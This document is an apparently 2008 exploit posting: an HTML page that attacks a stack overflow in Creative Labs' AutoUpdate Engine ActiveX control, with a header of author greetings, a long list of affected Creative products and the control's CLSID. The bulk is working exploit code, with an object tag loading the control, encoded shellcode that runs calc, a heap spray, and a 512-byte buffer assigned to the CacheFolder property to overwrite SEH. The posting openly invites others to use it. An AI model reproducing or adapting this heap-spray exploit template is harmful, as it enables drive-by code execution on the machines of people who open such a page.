creative-overflow.txt
Posted on 29 May 2008
<html> <!-- !!!NOT PRIVATE PLEASE DISTRIBUTE!!! Zer0Day Creative Software AutoUpdate Engine ActiveX Stack-Overflow (CacheFolder) Exploit by BitKrush <BitKrush +A.T.+ G.M.A.I.L.D.0.T.C.0.M.> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ CacheFolder property is vulnerable to stack-based buffer overflow after 260 bytes, @ 512 bytes overwrites SEH and allows code execution reliably. Original Advisory @ http://www.kb.cert.org/vuls/id/501843 and Vulnerability Discovered by Greg Linares of eEye Digital Security ActiveX Download @ http://www.creative.com/su/Product.asp MAXIMUM RESPECT TO RGOD (RIP) - A TRUE INSPIRATION Greetz to KCOPE, ELAZAR, H07, MATTEO, SHINNAI, AURIEMMA and to all the 2008 .CN/.RU/.JP/.* SQL INJECTORS - HAVE FUN WITH THIS YOU BASTARDS! +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Tested On Windows XP SP3 with all patches (like that matters) Products Affected: the below Creative Labs Software and Hardware depends on this ActiveX for updates and comes shipped with it or is supported by the control: Sound cards Audigy Audigy 2 Audigy 2 LS Audigy 2 NX Audigy 2 Platinum Audigy 2 Platinum eX Audigy 2 Value Audigy 2 ZS Audigy 2 ZS Gamer Audigy 2 ZS Notebook Audigy 2 ZS Platinum Audigy 2 ZS Platinum Pro Audigy 2 ZS Video Editor Audigy 4 Pro Audigy Gamer Audigy LS Audigy MP3+ Audigy Platinum Audigy Platinum eX Live! 24-bit Live! 24-bit External Live! 5.1 Live! 5.1 Digital (Dell) Live! ADVANCED MB MP3 + Sound Blaster Audigy 2 ZS Digital Audio Sound Blaster Audigy ADVANCED MB Sound Blaster X-Fi Fatal1ty Wireless Music X-Fi Elite Pro X-Fi Platinum X-Fi XtremeMusic USB Sound Blaster Audigy 2 NX MP3 + Portable Audio MuVo MuVo NX MuVo Slim MuVo TX MuVo TX FM MuVo² X-Trainer MuVo² MuVo² FM NOMAD II 32MB NOMAD II MG NOMAD IIc NOMAD Jukebox 3 NOMAD Jukebox ZEN Rhomba Portable Media Players ZEN Portable Media Center ZEN Vision 30GB MP3 Players MuVo MuVo 2.0 / MuVo Mix MuVo Micro MuVo NX MuVo Slim MuVo Sport C100 MuVo TX MuVo TX FM MuVo V200 MuVo² X-Trainer MuVo² MuVo² FM NOMAD II 32MB NOMAD II MG NOMAD II MG Limited Edition NOMAD IIc NOMAD JukeBox NOMAD Jukebox 10GB NOMAD Jukebox 2 NOMAD Jukebox 3 NOMAD Jukebox C NOMAD Jukebox ZEN NOMAD Jukebox ZEN NX NOMAD Jukebox ZEN USB 2.0 Rhomba ZEN 20GB ZEN Micro ZEN Nano 512MB ZEN Nano Plus ZEN Neeon 5GB/6GB ZEN Portable Media Center ZEN Sleek ZEN Touch ZEN Vision 30GB ZEN Xtra Web Cameras Creative PC-CAM 900 Creative WebCam Vista Game Star Live! Ultra for Notebooks PC-CAM 880 WebCam Instant WebCam Instant WebCam Live! WebCam Live! Pro WebCam Live! Ultra WebCam Notebook WebCam NX WebCam NX Pro WebCam NX Ultra WebCam Vista Video Audigy 2 ZS Video Editor Wireless Wireless Music Notebook Products Audigy 2 NX Audigy 2 ZS Notebook Live! 24-bit External Live! Ultra for Notebooks MP3 + WebCam Notebook Software Game Star http://us.creative.com/support/downloads/popup_supportproducts.asp Google: http://www.google.com/search?q=0A5FD7C5-A45C-49FC-ADB5-9952547D5715&btnG=Search +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ActiveX CLSID = 0A5FD7C5-A45C-49FC-ADB5-9952547D5715 KILL BIT THIS ^^ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ --> <object classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715' id='obj1'></object> <script language='javascript'> var sc01 = unescape("%u9090%u9090"+ //Windows Execute Command (calc) "%ue8fcD%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+ "%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+ "%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+ "%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+ "%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+ "%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+ "%u685f%ufe98%u0e8a%uff57%u63e7%u6c61c"); var mainblk = unescape("%u0c0c%u0c0c"); var hdr = 20; var slck = hdr + sc01.length; while (mainblk.length < slck) mainblk += mainblk; var fillblk = mainblk.substring(0,slck); var blk = mainblk.substring(0,mainblk.length - slck); while (blk.length + slck < 0x40000) blk = blk + blk + fillblk; var memory = new Array(); for (i = 0; i < 400; i++){ memory[i] = blk + sc01 } var buf = ''; while (buf.length < 512) buf = buf + unescape("%09"); // TAB - 0x09 works best here. obj1.cachefolder = buf; </script> </html>
